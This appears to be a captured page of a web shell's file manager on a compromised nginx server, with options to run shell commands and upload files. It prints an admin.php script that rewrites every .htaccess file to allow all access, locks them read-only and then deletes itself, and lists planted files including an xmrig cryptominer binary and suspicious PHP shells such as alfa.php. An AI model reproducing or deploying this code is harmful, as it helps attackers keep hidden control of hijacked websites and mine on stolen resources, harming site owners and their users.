Server: appserver-7f0f8755-nginx-15961cad18524ec5a9db05f2a6a7e440
Current directory: /files
Software: nginx/1.27.5
Shell Command
Create a new file
Upload file
File: admin.php
# SecFilterEngine Off # SecFilterScanPOST Off #
Order allow,deny Allow from all
# php_flag engine on # DO NOT USE ON OVH (causes 500 error) HTACCESS; $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $path = $dir . DIRECTORY_SEPARATOR . $item; // Recurse into subdirectories (skip symlinks) if (is_dir($path) && !is_link($path)) { updateAndLockHtaccess($path); } // Handle .htaccess files elseif (is_file($path) && $item === '.htaccess') { echo "Checking: $path\n"; // Attempt to make writable if not already if (!is_writable($path)) { echo "File not writable, attempting chmod...\n"; if (!chmod($path, 0644)) { echo "Failed to change permissions: $path\n"; continue; } } // Compare content before writing $currentContent = file_get_contents($path); if (trim($currentContent) !== trim($openContent)) { file_put_contents($path, $openContent); chmod($path, 0444); // Lock again echo "Updated and locked: $path\n"; } else { echo "Already OK: $path\n"; } } } // Create new .htaccess if missing $ht = $dir . DIRECTORY_SEPARATOR . '.htaccess'; if (!file_exists($ht)) { file_put_contents($ht, $openContent); chmod($ht, 0444); echo "Created and protected: $ht\n"; } } // Start from current directory $startDir = __DIR__; updateAndLockHtaccess($startDir); // Auto-delete this script after it runs once function selfDestruct() { $scriptPath = __FILE__; register_shutdown_function(function () use ($scriptPath) { unlink($scriptPath); echo "Script self-deleted: $scriptPath\n"; }); } selfDestruct(); echo "Script completed safely for OVH.\n"; ?>
.
23 Items
Change directory
Remove directory
Rename directory
..
30 Items
Change directory
Remove directory
Rename directory
1.mcm.x86_64
53.17 KB
Edit
Delete
Copy
Move
Remame
1.php
5.94 KB
Edit
Delete
Copy
Move
Remame
2017
3 Items
Change directory
Remove directory
Rename directory
2018
11 Items
Change directory
Remove directory
Rename directory
2019
10 Items
Change directory
Remove directory
Rename directory
2020
3 Items
Change directory
Remove directory
Rename directory
2021
10 Items
Change directory
Remove directory
Rename directory
2022
12 Items
Change directory
Remove directory
Rename directory
2023
13 Items
Change directory
Remove directory
Rename directory
2024
12 Items
Change directory
Remove directory
Rename directory
2025
11 Items
Change directory
Remove directory
Rename directory
admin.php
2.29 KB
Edit
Delete
Copy
Move
Remame
alfa.php
0.01 KB
Edit
Delete
Copy
Move
Remame
cache
2 Items
Change directory
Remove directory
Rename directory
conf.php
0.44 KB
Edit
Delete
Copy
Move
Remame
confcom.php
1.57 KB
Edit
Delete
Copy
Move
Remame
db.php
5.65 KB
Edit
Delete
Copy
Move
Remame
lessi.html
5.7 KB
Edit
Delete
Copy
Move
Remame
lufi.php
52.8 KB
Edit
Delete
Copy
Move
Remame
mall.php
6.07 KB
Edit
Delete
Copy
Move
Remame
store.php
5.62 KB
Edit
Delete
Copy
Move
Remame
wp-file-manager-pro
2 Items
Change directory
Remove directory
Rename directory
xmrig
6878.22 KB
Edit
Delete
Copy
Move
Remame